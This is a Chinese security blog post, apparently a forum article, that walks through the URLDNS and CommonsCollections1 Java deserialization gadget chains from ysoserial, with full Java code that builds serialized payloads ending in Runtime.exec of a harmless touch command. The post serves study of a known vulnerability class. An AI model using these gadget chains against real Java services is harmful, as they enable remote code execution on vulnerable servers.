之前都是 ysoserial 一把梭, 还是得学习 + 复现一下内部实现机制的. 主要是对常见的 URLDNS 和 CommonsCollections1-7 这些利用链进行了分析, 相信看完理解其他利用链也不在话下.

URLDNS

最简单的一个, 这个成因就是 java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.


java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.


可以理解为, 在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求.

整条调用链如下:

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

URLDNS.java

package demo.rmb122;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://xxxx.xxx.xxx");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0xdeadbeef); // 设一个值, 这样 put 的时候就不会去查询 DNS
        hashMap.put(url, "rmb122");
        f.set(url, -1); // hashCode 这个属性不是 transient 的, 所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
    }
}

Test.java

package demo.rmb122;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

CommonsCollections1

这个利用链比较复杂, 借 ysoserial 自带的调用栈先看看吧,

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

首先是版本受限, 先看 ysoserial 自带的版本检测 (单元测试的时候用的),

public static boolean isAnnInvHUniversalMethodImpl() {
    JavaVersion v = JavaVersion.getLocalVersion();
    return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
}

亲测 u71 实际已经修复了 sun.reflect.annotation.AnnotationInvocationHandler 中的漏洞, 所以实际上 ysoseiral 检测的是有问题的...

应该是 v.update < 71 才对. 在 https://www.oracle.com/technetwork/java/javase/downloads/java-archive-javase8-2177648.html 可以下到老版 jdk.
以下代码均以小于 u71 的能下到的最新版本 u66 为例子.

这个链相对比较复杂, 所以倒着来, 从 LazyMap.get() 开始.

org.apache.commons.collections.map.LazyMap

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

在 get 这个 map 时, 如果内部的 map 不存在这个 key, 将会调用 this.factory.transform(key), 将结果作为返回值. 再来看属性定义

protected final Transformer factory;

而 Transformer 是一个基类, ChainedTransformer, ConstantTransformer, InvokerTransformer 均继承于此父类. 接下来看如果通过 this.factory.transform(key) 达到 RCE 的效果.

org.apache.commons.collections.functors.ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

ChainedTransformer 的作用是将内部的 iTransformers 按顺序都调用一遍.

org.apache.commons.collections.functors.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

ConstantTransformer 的作用是不管输入, 直接返回一个常量.

最后是重点 org.apache.commons.collections.functors.InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

这个的作用是调用输入对象的一个方法, 并且参数可控, 这就非常牛逼了, 将这些结合起来, 如下

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(java.lang.Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
        new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这时调用 chainedTransformer.transform, 等价于 java.lang.Runtime.getRuntime().exec(new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}),
将 chainedTransformer 作为 Lazymapfactory, 再 get 一个不存在的 key, 就能达到 RCE 的目的.

问题就是现在缺少一个在 readObject 时 get 的对象, 而且最好是 jre 内置的. 这里就可以看到作者的牛逼之处, 毕竟这些类可不是随便找找就能找到的.

这里看 sun.reflect.annotation.AnnotationInvocationHandler 这个类的 invoke 方法,

// class AnnotationInvocationHandler implements InvocationHandler, Serializable {

AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {
    Class[] arrayOfClass = paramClass.getInterfaces();
    if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); 
    this.type = paramClass;
    this.memberValues = paramMap;
}

public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {
    String str = paramMethod.getName();
    Class[] arrayOfClass = paramMethod.getParameterTypes();
    if (str.equals("equals") && arrayOfClass.length == 1 && arrayOfClass[false] == Object.class)
        return equalsImpl(paramArrayOfObject[0]); 
    if (arrayOfClass.length != 0)
        throw new AssertionError("Too many parameters for an annotation method"); 
    switch (str) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return Integer.valueOf(hashCodeImpl());
        case "annotationType":
            return this.type;
    }

    Object object = this.memberValues.get(str); // <--- 这里调用了 get, 而且 memberValues 也是 Map 类型, 可以把 LazyMap 放在这里
    if (object == null)
        throw new IncompleteAnnotationException(this.type, str); 
    if (object instanceof ExceptionProxy)
        throw ((ExceptionProxy)object).generateException(); 
    if (object.getClass().isArray() && Array.getLength(object) != 0)
        object = cloneArray(object); 
    return object;
}

再来看这个类的 readObject

private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
    paramObjectInputStream.defaultReadObject();
    AnnotationType annotationType = null;

    try {
        annotationType = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException illegalArgumentException) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    } 

    Map map = annotationType.memberTypes();
    for (Map.Entry entry : this.memberValues.entrySet()) {
        String str = (String)entry.getKey();
        Class clazz = (Class)map.get(str);
        if (clazz != null) {
            Object object = entry.getValue();
            if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
                entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember((Method)annotationType.members().get(str))); 
        } 
    } 
}

关键点在 this.memberValues.entrySet(), 那么问题来了, 这里又跟 invoke 有什么关系呢.
这里涉及到 java 的动态代理机制, 这里不再赘述, 可以理解为调用这个方法实际上调用的是代理的 invoke, 在上面可以看到 AnnotationInvocationHandler 本身继承了 InvocationHandler 且重写了 invoke 方法. 刚好可以拿来利用, 接下来问题就很简单了, exp 如下

package demo.rmb122;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned_1"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        // 因为构造方法不是 public, 只能通过反射构造出来
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(obj);
    }
}

接下来问题是 java 是如何修复的呢? 一开始不知道已经修复, 复现出来导致还以为自己写错了 233
看到

public static boolean isApplicableJavaVersion() {
    return JavaVersion.isAnnInvHUniversalMethodImpl();
点击收藏 | 3 关注 | 1
登录 后跟帖